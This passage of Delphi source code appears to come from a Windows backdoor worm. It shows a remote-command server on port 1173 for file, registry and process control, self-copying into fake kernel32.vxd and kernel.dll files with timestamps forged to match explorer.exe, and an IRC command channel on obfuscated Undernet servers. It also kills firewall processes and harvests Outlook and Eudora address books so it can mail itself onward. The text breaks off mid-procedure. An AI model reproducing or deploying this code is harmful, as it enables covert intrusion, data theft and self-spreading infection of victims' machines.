procedure DoSendFile(wParam:longInt;Command:String);
var {f:file of byte;}
    f:HFile;
    st:string;
    NumRead:Integer;
    p:array[1..1024] of char;
    OfStr:TOFStruct;
    FF:TSearchRec;

begin
  f:=OpenFile(PChar(Command),OFStr,OF_READ);
  if f=HFILE_ERROR then
  begin
    sock.WriteString(wParam, PChar(ERROR+#13+#10));
    exit;
  end;
  FindFirst(Command,faAnyFile, FF);
  St:=IntToStr(FF.Size);
  sock.WriteString(wParam, PChar(crypt('mmb`cok2')+st+'|'+#13+#10)); //loadfil:

  sleep(timeout);
  repeat
    ReadFile(f,P,SizeOf(P),NumRead,nil);
    Sleep(timeout);
    if sock.WriteData(wParam,@P,numread)=0 then
    begin
      _lclose(f);
      exit;
    end;
  until (NumRead = 0);
  _lclose(f);
end;

procedure DoReceiveFile(wParam:longInt;Command:String);
begin
//done;
end;

procedure DoRenameFile(wParam:longInt;Command:String);
var Params:String;
    f:file;
begin
  Params:='';
  if Pos('&',Command)<>0 then
  begin
    Params:=Copy(Command,Pos('&',Command)+1,255);
    Delete(Command,Pos('&',Command),255);
  end;
  assignfile(f,command);
if params<>'' then Rename(f,params) else exit;
sock.writeString(wParam, PChar(ALLDONE+#13+#10));
end;

procedure DoCreateDirectory(wParam:longInt;Command:String);
var St:String;
begin
  St:=command;
  MkDir(command);
  sock.WriteString(wParam, PChar(crypt('Bpfeqc''l`x1')+St+#13+#10)); //Create dir:
end;

procedure DoDeleteDirectory(wParam:longInt;Command:String);
var St:String;
begin
  St:=command;
  RmDir(command);
  sock.WriteString(wParam, PChar(crypt('Dpbw`&ca{0')+St+#13+#10)); //Erase dir:
end;

procedure DoWriteReg(wParam:longInt;Command:String);
var Params,Params1,Params2,Params3:String;
begin
params:='';
params1:='';
params2:='';
params3:='';

  if Pos('&',Command)<>0 then
  begin
    params:=copy(command,1,pos('&',command)-1);
    Delete(Command,1,pos('&',command));
  end;
  if Pos('&',Command)<>0 then
  begin
    params1:=copy(command,1,pos('&',command)-1);
    Delete(Command,1,pos('&',command));
  end;
  if Pos('&',Command)<>0 then
  begin
    params2:=copy(command,1,pos('&',command)-1);
    Delete(Command,1,pos('&',command));
  end;
  Params3:=Copy(Command,1,length(command));

Registre:=TRegistry.create;
if strtoint(params)=0 then Registre.RootKey:=HKEY_CLASSES_ROOT;
if strtoint(params)=1 then Registre.RootKey:=HKEY_CURRENT_USER;
if strtoint(params)=2 then Registre.RootKey:=HKEY_LOCAL_MACHINE;
if strtoint(params)=3 then Registre.RootKey:=HKEY_USERS;
if strtoint(params)=4 then Registre.RootKey:=HKEY_PERFORMANCE_DATA;
if strtoint(params)=5 then Registre.RootKey:=HKEY_CURRENT_CONFIG;
if strtoint(params)=6 then Registre.RootKey:=HKEY_DYN_DATA;
if strtoint(params)>6 then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); Registre.Free; exit; end;
Registre.OpenKey(params1,true);
Registre.WriteString(params2,pchar(params3));
Registre.Free;

sock.WriteString(wParam, PChar(ALLDONE+#13+#10));
end;

procedure DoReadReg(wParam:longInt;Command:String);
var params,params1,params2:string;
begin
  if Pos('&',Command)<>0 then
  begin
    params:=copy(command,1,pos('&',command)-1);
    Delete(Command,1,pos('&',command));
  end;
  if Pos('&',Command)<>0 then
  begin
    params1:=copy(command,1,pos('&',command)-1);
    Delete(Command,1,pos('&',command));
  end;
  Params2:=Copy(Command,1,length(command));

Registre:=TRegistry.create;
if strtoint(params)=0 then Registre.RootKey:=HKEY_CLASSES_ROOT;
if strtoint(params)=1 then Registre.RootKey:=HKEY_CURRENT_USER;
if strtoint(params)=2 then Registre.RootKey:=HKEY_LOCAL_MACHINE;
if strtoint(params)=3 then Registre.RootKey:=HKEY_USERS;
if strtoint(params)=4 then Registre.RootKey:=HKEY_PERFORMANCE_DATA;
if strtoint(params)=5 then Registre.RootKey:=HKEY_CURRENT_CONFIG;
if strtoint(params)=6 then Registre.RootKey:=HKEY_DYN_DATA;
if strtoint(params)>6 then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); Registre.Free; exit; end;
Registre.OpenKey(params1,true);
sock.WriteString(wParam, PChar('Data: '+Registre.ReadString(params2)+#13+#10));
Registre.Free;
end;

procedure DoKillProcess(wParam:longInt;Command:String);
begin
Killprocess(command);
sock.WriteString(wParam, PChar(crypt('Jkohlh`2)')+command+#13+#10)); //Killing:
end;

procedure DoWindowsProcess(wParam:longInt);
var pp:string;
begin
assignfile(t,windowsdir+'~tmp..dat');
rewrite(t);
append(t);
 EnumWindows(@AddTopLevelWindowsToList,8);
closefile(t);

assignfile(t,windowsdir+'~tmp..dat');
reset(t);
repeat
readln(t,pp);
Sock.WriteString(wParam, PChar(pp+#13+#10));
sleep(timeout);
until pp='';

closefile(t);
erase(t);
end;

procedure DoTimeout(wParam:longInt;Command:String);
begin
timeout:=strtoint(command);
sock.WriteString(wParam, PChar('Timeout: '+command+#13+#10));
end;




procedure TSock.OnServerRead(wParam,lParam:longInt);
var Command:String;
    f:HFile;
    check:string;
    NumWrite:Integer;
    OfStr:TOFStruct;
t1,t2,yy,taille:longint;
Buffy:array[1..1024] of char;

begin
  CountRB:=recv(wParam,Buffy,SizeOf(Buffy),0);
  if CountRB = 0 then exit;
  Command:=Copy(Buffy,Pos('/',Buffy)+1,Pos('HTTP',Buffy)-Pos('/',Buffy)-2);
  if command='' then exit;
  case command[1] of
       '0' :  DoAbout(wParam);
       '1' :  DoShowDirectory(wParam,copy(command,pos('?',command)+1,255));
       '2' :  DoStart(wParam);
       '3' :  DoShowLog(wParam);
       '4' :  DoExecFile(wParam,copy(command,pos('?',command)+1,255));
       '5' :  DoSendFile(wParam,copy(command,pos('?',command)+1,255));
       '6' :  DoDeleteFile(wParam,copy(command,pos('?',command)+1,255));
       '7' :  begin
              command:=copy(command,pos('?',command)+1,255);
              check:=copy(command,pos('|',command)+1,pos('&',command)-1);
              taille:=strtoint(check);
              delete(command,pos('|',command),length(command));

              sock.WriteString(wParam, PChar('sendfil:'+#13+#10));

                f:=OpenFile(PChar(Command),OFStr,OF_CREATE);
                  if f=HFILE_ERROR then
                    begin
                        sock.WriteString(wParam, PChar(ERROR+#13+#10));
                            exit;
                    end;
             yy:=0;

t1:=round((taille+512)/1024);
t2:=t1*1024; //nombre packet
t1:=t2-taille; //end packet
//t1:=taille-t2;
               repeat
  CountRB:=recv(wParam,Buffy,sizeof(Buffy),0);
  if countRB<>65535 then
               begin
               //writeln(taille);
               if taille<=1024 then begin WriteFile(f,Buffy,taille,NumWrite,nil); _lclose(f); exit; end;

               yy:=yy+countRB; //bug
                if yy=t2 then
                begin
                t1:=1024-abs(t1);
                //writeln(t1);
                WriteFile(f,Buffy,t1,NumWrite,nil);
                 _lclose(f);
              exit;
                end
                else
                WriteFile(f,Buffy,countRB,NumWrite,nil);
               end;

                fillchar(buffy,sizeof(buffy),#0);
               until (yy>=taille) or (NumWrite = 0);

               _lclose(f);
              exit;
              //DoReceiveFile(wParam,copy(command,pos('?',command)+1,255));
              end;
       '8' :  DoRenameFile(wParam,copy(command,pos('?',command)+1,255));
       '9' :  DoCreateDirectory(wParam,copy(command,pos('?',command)+1,255));
       'A' :  DoDeleteDirectory(wParam,copy(command,pos('?',command)+1,255));
       'B' :  DoWriteReg(wParam,copy(command,pos('?',command)+1,255));
       'C' :  DoReadReg(wParam,copy(command,pos('?',command)+1,255));
       'D' :  DoProxy(wParam,copy(command,pos('?',command)+1,255));
       'E' :  DoKillProcess(wParam,copy(command,pos('?',command)+1,255));
       'F' :  DoWindowsProcess(wParam);
       'G' :  DoPassword(wParam);
       'H' :  DoTimeout(wParam,copy(command,pos('?',command)+1,255));
  end;
//  closesocket(wParam);
  processmessages;
end;

//=== Process OnSocketMessage ===
procedure OnSocketMessage(Msg,wParam,lParam:longInt);
begin
  if ( LOWORD(lParam) and FD_ACCEPT = FD_ACCEPT) then Sock.OnServerAccept(wParam,lParam);
  if ( LOWORD(lParam) and FD_CLOSE = FD_CLOSE) then sock.OnServerClose(wParam,lParam);
  if ( LOWORD(lParam) and FD_READ = FD_READ) then sock.OnServerRead(wParam,lParam);
end;

//== Processes every message sent to MAIN window ===
function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall;
begin
  Result:= 0;
  case Msg of
    WM_CREATE            : OnCreate(hWnd);
    WM_CLOSE             : OnClose(hWnd);
    WM_MY_SOCK_MESSAGE   : OnSocketMessage(Msg,wParam,lParam);
    WM_DESTROY           : ShutDownServer;
  end;
  Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
end;

//=== OnInitSocket ===
//==TCP
procedure InitSocket;
begin
  WSAStartup($101,WSD);
  Port:=1173;
  Server := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//  Server := Socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);

  if Server = -1 then WSACleanup;
  Addr.sin_family:= AF_INET;
  Addr.sin_addr.s_addr:=INADDR_ANY;
  Addr.sin_port:=htons(Port);
  bind(Server,Addr,SizeOf(Addr));
  WSAAsyncSelect(Server,Handle,WM_MY_SOCK_MESSAGE, FD_ACCEPT + FD_CLOSE + FD_READ);
//  listen;
  listen(Server,5);
end;

//==UDP
{procedure InitSocket2;
begin
  si:=SizeOf(integer);
  WSAStartup($101,WSD);
  Port:=136;
  Server := Socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);

  if Server = -1 then WSACleanup;
  Addr.sin_family:= PF_INET;
  Addr.sin_addr.s_addr:=INADDR_ANY;
  Addr.sin_port:=htons(Port);
  setsockopt(Server,SOL_SOCKET,SO_BROADCAST,@i,si);

  bind(Server,Addr,SizeOf(Addr));
  WSAAsyncSelect(Server,Handle,WM_MY_SOCK_MESSAGE, FD_ACCEPT + FD_CLOSE + FD_READ);
  listen(Server,5);
end;}

//=====copyit
function GetFileDateTimeModified(const FileName: string;var yyyy,mm,dd,h,m,s: word):boolean;
var
  dt,tm: word;
  DateTime: integer;
begin
  result := false;
  DateTime := FileAge(FileName);

  if DateTime = -1 then exit else result := true;
  tm := DateTime and $FFFF; {lower word}
  dt := DateTime shr 16; {upper word}

  h := tm shr 11;
  m := (tm shr 5) and $3F;
  s := (tm and $1F) * 2;

  dd := dt and $1F;
  mm := (dt shr 5) and $F;
  yyyy := (dt shr 9)+1980;
end;

function SetFileDateTime(const FileName: string;var yyyy,mm,dd,h,m,s: word):boolean;
var
  SrchHdl: THandle;
  FileHdl: HFile;
  FindData: TWin32FindData;
  wDate,wTime: word;
  LocalFileTime, NewFileTime: TFileTime;
begin
  result := false;
  SrchHdl := FindFirstFile(PChar(FileName), FindData);
  if SrchHdl <> INVALID_HANDLE_VALUE then begin
    Windows.FindClose(SrchHdl);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
begin
      wTime := (h shl 11) + (m shl 5) + (m div 2);
      wDate := (dd) + (mm shl 5)+ ((yyyy-1980) shl 9);

      DosDateTimeToFileTime(wDate,wTime,LocalFileTime);
      LocalFileTimeToFileTime(LocalFileTime, NewFileTime);
      FileHdl := _lopen(PChar(FileName), OF_WRITE);
      if FileHdl <> HFILE_ERROR then begin
        if SetFileTime(FileHdl,@NewFileTime,@NewFileTime,@NewFileTime) then
            result := true;
        _lclose(FileHdl);
      end;
      end;
  end;
end;

procedure copyit;
var FromF, ToF: file;
    NumRead, NumWritten: Integer;
    Buf: array[1..2048] of Char;
begin
s:=paramstr(0);
if (s<>systemdir+crypt(']IFVKCK;;$]TI')) and (s<>systemdir+crypt(']IFVKCK&MFG')) then begin //\KERNEL32.VXD \KERNEL.DLL
    filemode:=0;

if fileexists(systemdir+crypt(']ifvkck;;$}ti')) then exit; //\kernel32.vxd
if fileexists(systemdir+crypt(']ifvkck&mfg')) then exit; //\kernel.dll

Registre:=TRegistry.create;
Registre.RootKey:=HKEY_CLASSES_ROOT;
Registre.OpenKey(crypt('Eg\Hdhfj{kx'),true); //De_Lanabras
Registre.WriteString(crypt('333<=6'),pchar(crypt('um#`lc''g{*ecy.{1vzq'))); //210880 //to die or not to die
Registre.Free;

    AssignFile(FromF,paramstr(0));
    Reset(FromF, 1);	{ Record size = 1 }
    AssignFile(ToF, systemdir+crypt(']ifvkck;;$}ti')); { ouvre le fichier de sortie }//\kernel32.vxd
    Rewrite(ToF, 1);	{ Record size = 1 }

      repeat
        BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
        BlockWrite(ToF, Buf, NumRead, NumWritten);
      until (NumRead = 0) or (NumWritten <> NumRead);
        CloseFile(FromF);
        CloseFile(ToF);

GetFileDateTimeModified(windowsdir+'\explorer.exe',yyyy,mm,dd,h,m,ss);
SetFileDateTime(systemdir+crypt(']ifvkck;;$}ti'),yyyy,mm,dd,h,m,ss); //\kernel32.vxd

    AssignFile(FromF,paramstr(0));
    Reset(FromF, 1);	{ Record size = 1 }
    AssignFile(ToF, systemdir+crypt(']ifvkck&mfg')); { ouvre le fichier de sortie }//\kernel.dll
    Rewrite(ToF, 1);	{ Record size = 1 }

      repeat
        BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
        BlockWrite(ToF, Buf, NumRead, NumWritten);
      until (NumRead = 0) or (NumWritten <> NumRead);
        CloseFile(FromF);
        CloseFile(ToF);

SetFileDateTime(systemdir+crypt(']ifvkck&mfg'),yyyy,mm,dd,h,m,ss); //\kernel.dll
end;
end;

//===========Online???
const
  INVALID_IP_ADDRESS= $ffffffff;

function ip2string(ip_address:longint):string;
begin
  ip_address:=ntohl(ip_address);
  result:= inttostr(ip_address shr 24)+'.'+
           inttostr((ip_address shr 16) and $ff)+'.'+
           inttostr((ip_address shr 8) and $ff)+'.'+
           inttostr(ip_address and $ff);
end;

function lookup_hostname(const hostname:string):longint;
var
  RemoteHost : PHostEnt;  (* no, don't free it! *)
  ip_address: integer;
  s: string;

begin
  ip_address:=INVALID_IP_ADDRESS;
  try
    if hostname='' then begin  (* no host given! *)
      lookup_hostname:=ip_address;
      EXIT;
      end
    else begin
  s:=hostname+#0;
  ip_address:=Inet_Addr(PChar(@s[1]));
//  ip_address:=Winsock.Inet_Addr(PChar(hostname));
      if ip_address=$FFFFFFFF then begin
  RemoteHost:=GetHostByName(PChar(@s[1]));
//  RemoteHost:=Winsock.GetHostByName(PChar(hostname));
        if (RemoteHost=NIL) or (RemoteHost^.h_length<=0) then begin
          lookup_hostname:=ip_address;
          EXIT;  (* host not found *)
          end
        else
          ip_address:=longint(pointer(RemoteHost^.h_addr_list^)^);
        end;
      end;
  except
    ip_address:=INVALID_IP_ADDRESS;
    end;
  lookup_hostname:=ip_address;
end;

//====== Connection Irc ===
type
  THede = class(TObject)
    procedure MyHwndProc(var Msg:TMessage);
    procedure agprun;
    procedure server;
    function ip2string(ip_address:longint):string;
    end;

const
  SocketMessag = WM_USER+107;

var
  MySocket: TSocket;
  MyName   : TSockAddr;
  MyAddr   : TInAddr;

  Hede: THede;

  Buffer:array[0..1023] of char;

  res : word;
  WST : TWSAData;
  host: string;
  b:byte;

function my_ip_address:longint;
const
  bufsize=255;
var
  buf: pointer;
  RemoteHost : PHostEnt; (* No, don't free it! *)
begin
  buf:=NIL;
  try
    getmem(buf,bufsize);
    gethostname(buf,bufsize);   (* this one maybe without domain *)
    RemoteHost:=GetHostByName(buf);
    if RemoteHost=NIL then
      my_ip_address:=htonl($7F000001)  (* 127.0.0.1 *)
    else
      my_ip_address:=longint(pointer(RemoteHost^.h_addr_list^)^);
  finally
    if buf<>NIL then  freemem(buf,bufsize);
    end;
end;

function THede.ip2string(ip_address:longint):string;
begin
  ip_address:=ntohl(ip_address);
  result:= inttostr(ip_address shr 24)+'.'+
           inttostr((ip_address shr 16) and $ff)+'.'+
           inttostr((ip_address shr 8) and $ff)+'.'+
           inttostr(ip_address and $ff);
end;

procedure Thede.server;
var srvlist: array[0..14] of string;
    x:byte;
    systemTime:TSystemTime;
    z:longint;
begin

sleep(10000);
b:=0;
randomize;
j := 0;
result:='';
nukemsg:='';
repeat
j:=j+1;
x :=  64 + random(58);
case x of
 0 .. 64 : result := 'a';
 65 .. 90 : result := chr(x);
 91 .. 96 : result := 'e';
 97 .. 122 : result := chr(x);
 123..255 : result := 'd';
end;
nukemsg:=nukemsg+result;
until j=9;

j := 0;
result:='';
nukemsg2:='';
repeat
j:=j+1;
x :=  96 + random(26);
case x of
// 0 .. 64 : result := 'a';
// 65 .. 90 : result := 'u';
 91 .. 96 : result := 'e';
 97 .. 122 : result := chr(x);
 123..255 : result := 'd';
end;
nukemsg2:=nukemsg2+result;
until j=10;

with systemtime do
begin
       wYear:= wYear;
       wMonth:=wMonth;
       wDayOfWeek:= wDayOfWeek;
       wDay:=wDay;
       wHour:= wHour;
       wMinute:= wMinute;
       wSecond:= wSecond;
       wMilliseconds:= wMilliseconds;
end;
getsystemtime(SystemTime);
j:=systemtime.wMonth;

//srvlist[0]:='127.0.0.1';
srvlist[1]:=crypt('dw-qkbbzgo"b|h'); //eu.undernet.org
srvlist[2]:=crypt('bc-qkbbzgo"b|h'); //ca.undernet.org
srvlist[3]:=crypt('tq-qkbbzgo"b|h'); //us.undernet.org
srvlist[4]:=crypt('umqkkrh&fd%ol z~uwazpb9wk}'); //toronto.on.ca.undernet.org
srvlist[5]:=crypt('sgdakue}{m%hh je?g}ppdy}m4tnz'); //regensburg.de.eu.undernet.org
srvlist[6]:=crypt('dqskj(aa''o~"x`kuc|v`;ye'); //espoo.fi.eu.undernet.org
srvlist[7]:=crypt('bjjgdah&`f%y~ Z~uwazpb9wk}'); //chicago.il.us.Undernet.org
srvlist[8]:=crypt('vcpllh`|fd%hn zc?g}ppdy}m4tnz'); //washington.dc.us.undernet.org
srvlist[9]:=crypt('`opp`tcid$e`#kz>d|wqgxrl7ui{'); //amsterdam.nl.eu.undernet.org
srvlist[10]:=crypt('rvokpot&de%y~ z~uwazpb9wk}'); //stlouis.mo.us.undernet.org
srvlist[11]:=crypt('qkwpvdrznb%|l zc?g}ppdy}m4tnz'); //pittsburgh.pa.us.undernet.org
srvlist[12]:=crypt('`w`oigil''dq"x`kuc|v`;ye'); //auckland.nz.undernet.org
srvlist[13]:=crypt('qjlako&hp%y~ z~uwazpb9wk}'); //phoenix.az.us.undernet.org
srvlist[14]:=crypt('ecohdu)|q$~#{att`}qa8xj~'); //dallas.tx.us.undernet.org

x:=random(14)+1;
//  x:=0;
host:=srvlist[x];
z:=lookup_hostname(host);
host:=ip2string(z);
//writeln(host);

WSAStartup($101,WST);
hede.agprun;
end;

procedure THede.MyHwndProc(var msg:TMessage);
var check,s:string;
begin
FillChar(buffer,sizeof(buffer),#0);

  if msg.Msg = SocketMessag then begin
      if msg.LParamLo = FD_CLOSE then begin //writeln('end');
                                  closesocket(mysocket);
                                  WSACleanup;
                                  hede.server;
                                  exit; end;
      //if msg.LParamLo = FD_WRITE then writeln('[Socket Write]');
      if msg.LParamLo = FD_READ then
            begin
            res:=Recv(MySocket,Buffer,sizeof(Buffer),0);
        if res=-1 then
              begin
  //            S:='Error : '+inttostr(WSAGetLastError);
  //            writeln(s);
              closesocket(mysocket);
              WSACleanup;
              hede.server;
              exit;
              end;
       //if Buffer[1]<>'' then S:='[connected]';
       //writeln(s);
       //writeln('[Socket Read] '+ inttostr(res) +'/300 : '+Buffer);
       end;

       if res<0 then begin //writeln('*** Cant Read !!! >:-[');
                     closesocket(mysocket);
                     WSACleanup;
                     hede.server;
                     exit;
                     end;
       end;

check:=copy(buffer,1,6);
if check=crypt('QKMC%<') then //PING :
  begin
  sleep(100);
  check:=copy(buffer,7,20);
  sock.WriteString(MySocket,pchar(crypt('QMMC%<')+check+#13+#10)); //PONG :
if b=0 then
  begin
  sleep(500);
//writeln('USER '+nukemsg+' '+ip2string(my_ip_address)+' '+nukemsg2+'.org :'+copy(nukemsg2,1,5)+#13+#10);
//sock.WriteString(MySocket,pchar('USER thepeaceto "death.com" "'+ip2string(my_ip_address)+'" :dukkk'+#13+#10));
  sock.WriteString(MySocket,pchar(crypt('TQFV%')+copy(nukemsg2,1,7)+' "'+nukemsg2+'.com" "'+ip2string(my_ip_address)+'" :'+copy(nukemsg2,1,5)+#13+#10)); //USER
  sleep(500);
  sock.WriteString(MySocket,pchar(crypt('LMGA%')+nukemsg+' +i'+#13+#10)); //MODE
  sleep(500);
  sock.WriteString(MySocket,pchar(crypt('KMJJ%')+crypt('"]e[gYn')+inttostr(j)+' '+crypt('dosawiuW')+#13+#10)); //JOIN //#_f_b_i //emperor_
  sleep(500);
  sock.WriteString(MySocket,pchar(crypt('LMGA%')+crypt('"]e[gYn')+inttostr(j)+' +sk '+crypt('dosawiuW')+#13+#10));//MODE
  sleep(500);
Registre:=TRegistry.create;
Registre.RootKey:=HKEY_CLASSES_ROOT;
Registre.OpenKey('.aft',true);
  sock.WriteString(MySocket,pchar(crypt('QPJRHU@(')+crypt('"]e[gYn')+inttostr(j)+' '+crypt(';jfhii')+Registre.ReadString('1')+#13+#10)); //PRIVMSG //:hello
Registre.Free;
  b:=1;
 end;
  end;
end;

procedure THede.agpRun;
var
  s:string;
  myhwnd: Thandle;

begin
  MySocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
  MyAddr.S_addr:=Inet_Addr(@Host[1]);
  MyName.sin_family:=PF_INET;
  MyName.sin_port:=htons(6667); //port to connect
  MyName.sin_addr:=MyAddr;

//    MyName.sin_port:=ntohs(strtoint(edit4.text));  //port on receive
  res:=connect(MySocket,MyName,sizeof(MyName));

    if res<>0 then
       begin
//       S:='Connect Error : '+inttostr(WSAGetLastError);
//       writeln(s);
       closesocket(mysocket);
       WSACleanup;
       hede.server;
       exit;
       end;

    myhwnd := AllocateHwnd(hede.MyHWndProc);
    WSAAsyncSelect(MySocket, myhwnd, SocketMessag, FD_READ OR FD_WRITE OR FD_CLOSE );
    res:=Recv(MySocket,Buffer,sizeof(buffer),0);

//sock.WriteString(MySocket,pchar('PASS 666'+#13+#10));
sleep(500);
sock.WriteString(MySocket,pchar(crypt('OK@O%')+nukemsg+#13+#10)); //NICK

while not ExitCode<>ExitCode2 do processmessages;
end;

//===fuck_protection
procedure scanprotection;
begin
if findwindow(nil,@(crypt('OgwEuv@}hxo'))[1])<>0 then //NetAppGuard
begin
killprocess(crypt('OgwEuv@}hxo')); //NetAppGuard
end;
if findwindow(nil,@(crypt('BmmW`gk(YI+JD\JGP^_'))[1])<>0 then //ConSeal PC FIREWALL
begin
killprocess(crypt('BmmW`gk(YI+JD\JGP^_')); 
appmsg(pchar(crypt('HR#ekb''ijidycz/~pv4yyp|~;ss>lIFLBHDGD
eABJWP^wZXd]XVzTLZ7 ./d3#5; %%b')));
end;
exit;
end;

//====== Spammer ===========
type
  TSpam = class(TObject)
    procedure base64(var hFile: File; var sLine: string; var More: boolean);
    procedure start;
    procedure send;
    procedure scanmail;
    procedure scanmail2;
    procedure fileini;
procedure MyHwndProc(var msg:TMessage);
    end;

type
  TLookup = array [0..64] of Char;

const
  SocketMessage = WM_USER+108;

const
  Base64Out: TLookup =
    (
    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
    'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
    'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
    '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/', '='
   );

var
  WSM : TWSAData;
  myhwnd2:THandle;
  MySocket2: TSocket;
  MyName2   : TSockAddr;
  MyAddr2   : TInAddr;

  res2 : word;
  buffer2,host2: string;

procedure TSpam.MyHwndProc(var msg:TMessage);
begin
//FillChar(buffer,sizeof(buffer),#0);
  if msg.Msg = SocketMessage then begin
      if msg.LParamLo = FD_CLOSE then begin
                                  closesocket(mysocket2);
                                  end;
  //    if msg.LParamLo = FD_WRITE then writeln('[Socket Write]');
      if msg.LParamLo = FD_READ then
begin            res2:=Recv(MySocket2,Buffer2,sizeof(Buffer2),0);
        if res2=-1 then
              begin
  //            S:='Error : '+inttostr(WSAGetLastError);
  //            writeln(s);
              closesocket(mysocket2);
              WSACleanup;
              end;
//writeln(buffer2);
end;

  end;
end;

procedure TSpam.Base64(var hFile: File; var sLine: string; var More: boolean);
var
    Count     : integer;
    DataIn    : array [0..2] of byte;
    DataOut   : array [0..80] of byte;
    ByteCount : integer;
    i         : integer;
//    hfile:file;
//    sline:string;
begin
   Count := 0;
{$I-}
    while not Eof(hFile) do begin
{$I+}
        BlockRead(hFile, DataIn, 3, ByteCount);
        DataOut[Count]     := (DataIn[0] and $FC) shr 2;
        DataOut[Count + 1] := (DataIn[0] and $03) shl 4;
        if ByteCount > 1 then begin
            DataOut[Count + 1] := DataOut[Count + 1] +
                                  (DataIn[1] and $F0) shr 4;
            DataOut[Count + 2] := (DataIn[1] and $0F) shl 2;
            if ByteCount > 2 then begin
                DataOut[Count + 2] := DataOut[Count + 2] +
                                      (DataIn[2] and $C0) shr 6;
                DataOut[Count + 3] := (DataIn[2] and $3F);
            end
            else begin
                DataOut[Count + 3] := $40;
            end;
        end
        else begin
            DataOut[Count + 2] := $40;
            DataOut[Count + 3] := $40;
        end;

        for i := 0 to 3 do
            DataOut[Count + i] := Byte(Base64Out[DataOut[Count + i]]);

        Count := Count + 4;

        if Count > 59 then
            break;
    end;

    DataOut[Count] := $0;
    sLine := StrPas(@DataOut[0]);
{$I-}
    More := not Eof(hFile);
{$I+}
end;

procedure TSpam.start;
var i:TRegistry;
    ss:string;

begin
//writeln('START');
if fileexists(systemdir+'\outlook.ini') then begin send; exit; end;
Filemode:=2;
assignfile(ttt,systemdir+'\outlook.ini');
rewrite(ttt);
append(ttt);
//memo1.clear;
writeln(ttt,'[OUTL]');

i:=tregistry.Create;
i.RootKey:=HKEY_CURRENT_USER;
i.OpenKey('Software\Microsoft\WAB\WAB4\Wab File Name',true);
//memo1.lines.add(i.ReadString(''));
outlook:=i.ReadString('');
i.Free;

i:=tregistry.Create;
i.RootKey:=HKEY_CURRENT_USER;
i.openkey('Software\Microsoft\Internet Account Manager',true);
ss:=i.ReadString('Default Mail Account');
//memo1.lines.add('Mail account: '+s);
i.Free;

i:=tregistry.Create;
i.RootKey:=HKEY_CURRENT_USER;
i.openkey('Software\Microsoft\Internet Account Manager\Accounts\'+ss,true);
if i.ReadString('SMTP Server')='' then writeln(ttt,'[SERV]'+'mail.'+crypt('bmntpubzo')+'.com') else //compuserve
writeln(ttt,'[SERV]'+i.ReadString('SMTP Server'));
i.Free;

i:=tregistry.Create;
i.RootKey:=HKEY_CURRENT_USER;
i.openkey('Software\Microsoft\Internet Account Manager\Accounts\'+ss,true);
if i.ReadString('SMTP Port')='' then writeln(ttt,'[PORT]'+'25') else
writeln(ttt,'[PORT]'+i.ReadString('SMTP Port'));
i.Free;
 ScanMail;

writeln(ttt,'[EUDO]');
i:=tregistry.Create;
i.RootKey:=HKEY_CURRENT_USER;
i.OpenKey('Software\Qualcomm\Eudora\CommandLine',true);
ss:=i.ReadString('Current');
delete(ss,pos('.',ss)-6,length(ss));
eudora:=ss;
i.Free;

fileini;
 ScanMail2;
closefile(ttt);
send;
end;

procedure TSpam.send;
var day,month,i:integer;
    s:string;
    ff:file of char;
    c:char;
    zday,zmonth,slav,user,serv,zport:string;
    sock:TSock;
    SystemTime:TSystemTime;
    w:longint;

    hfile:file;
    sline:string;
    more:boolean;

   FMimeBoundary,filename:string;

begin
if not fileexists(systemdir+'\outlook.ini') then exit;
sleep(1200000); // 20 min

Filemode:=2;
assignfile(ff,systemdir+'\outlook.ini');
reset(ff);

i:=0;
s:='';

WSAStartup($101,WSM);

repeat
i:=filepos(ff);

blockread(ff,c,sizeof(c));

s:=s+c;

if c=#10 then begin
              if copy(s,1,6)='[KILL]' then begin closefile(ff); exit; end;
              if copy(s,1,6)='[SERV]' then serv:=copy(s,7,pos(#13,s)-7);
              if copy(s,1,6)='[PORT]' then zport:=copy(s,7,pos(#13,s)-7);
              if copy(s,1,6)='[EUDO]' then zport:='25';
              if copy(s,1,6)='[USER]' then begin
                                           user:=copy(s,7,pos(#13,s)-7);
                                           end;
              if copy(s,1,6)='[SLAV]' then begin
                                           seek(ff,i-length(s)+1);
                                           blockwrite(ff,'[FUCK]',sizeof('[FUCK]'));
                                           slav:=copy(s,7,pos(#13,s)-7);
         //memo1.lines.add(serv+' : '+port+' : '+user+' : '+slav);
writeln(serv+' : '+zport+' : '+user+' : '+slav);
sleep(20000);
w:=lookup_hostname(serv);
host2:=ip2string(w);
//host2:='127.0.0.1';

  MySocket2:=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
  MyAddr2.S_addr:=Inet_Addr(@Host2[1]);
  MyName2.sin_family:=PF_INET;
  MyName2.sin_port:=htons(strtoint(zport)); //port to connect
  MyName2.sin_addr:=MyAddr2;

//    MyName.sin_port:=ntohs(strtoint(edit4.text));  //port on receive
    res2:=connect(MySocket2,MyName2,sizeof(MyName2));

        if res2<>0 then
       begin
  //     S:='Suck Error : '+inttostr(WSAGetLastError);
  //     writeln(s);
       closesocket(mysocket2);
       WSACleanup;
       exit;
       end;

    myhwnd2 := AllocateHwnd(MyHWndProc);
    WSAAsyncSelect(MySocket2, myhwnd2, SocketMessage, FD_READ OR FD_WRITE OR FD_CLOSE );

FileName:=paramstr(0);
//FileName:='c:\temp\hmm.sep';

with systemtime do
begin
       wYear:= wYear;
       wMonth:=wMonth;
       wDayOfWeek:= wDayOfWeek;
       wDay:=wDay;
       wHour:= wHour;
       wMinute:= wMinute;
       wSecond:= wSecond;
       wMilliseconds:= wMilliseconds;
end;
